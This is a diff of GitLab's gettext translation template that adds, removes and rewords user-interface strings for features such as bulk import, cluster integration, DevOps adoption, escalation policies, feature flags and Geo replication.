msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5678,6 +5814,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5690,9 +5829,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5759,9 +5904,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5810,15 +5952,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5829,6 +5971,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6522,7 +6667,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6906,72 +7051,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7134,6 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -7176,12 +7261,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7344,6 +7423,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7428,9 +7510,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7491,7 +7570,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7587,9 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7602,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7701,9 +7774,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7842,9 +7912,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7857,9 +7924,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -8133,6 +8197,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8278,6 +8351,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8416,9 +8492,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8539,6 +8612,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8602,6 +8678,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8763,6 +8842,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9445,9 +9527,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9478,9 +9557,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9532,6 +9608,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9583,6 +9662,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9616,6 +9698,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9943,27 +10028,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -10188,9 +10252,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10410,9 +10480,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10780,6 +10847,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11510,22 +11580,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11534,6 +11610,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11561,6 +11640,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11582,6 +11664,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11594,21 +11679,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|Leader usage"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11675,15 +11772,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11711,6 +11808,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11940,7 +12040,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11955,6 +12055,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11964,9 +12082,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -12081,9 +12196,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -12138,6 +12250,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12267,13 +12382,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12351,6 +12466,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12396,9 +12514,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12420,9 +12535,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -13092,9 +13204,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -13107,12 +13216,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -13221,6 +13336,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13282,7 +13445,11 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13927,6 +14094,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13951,9 +14121,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13981,9 +14148,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -14002,9 +14166,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -14047,9 +14208,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -14065,7 +14223,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14318,6 +14476,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14423,6 +14590,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14441,6 +14611,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14468,6 +14641,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14735,6 +14917,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14762,6 +14947,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14789,6 +14977,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14813,6 +15004,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14840,6 +15034,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14885,6 +15082,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14897,10 +15097,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -15065,6 +15271,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -15077,10 +15289,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15326,9 +15541,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15425,16 +15637,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15467,9 +15682,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15524,6 +15736,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15602,7 +15817,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15716,6 +15931,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15776,6 +15994,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15797,13 +16018,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15866,6 +16090,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -16184,9 +16411,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -16223,22 +16447,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16310,7 +16543,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16325,6 +16558,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16337,6 +16573,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16455,9 +16703,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16489,9 +16734,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16576,9 +16818,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
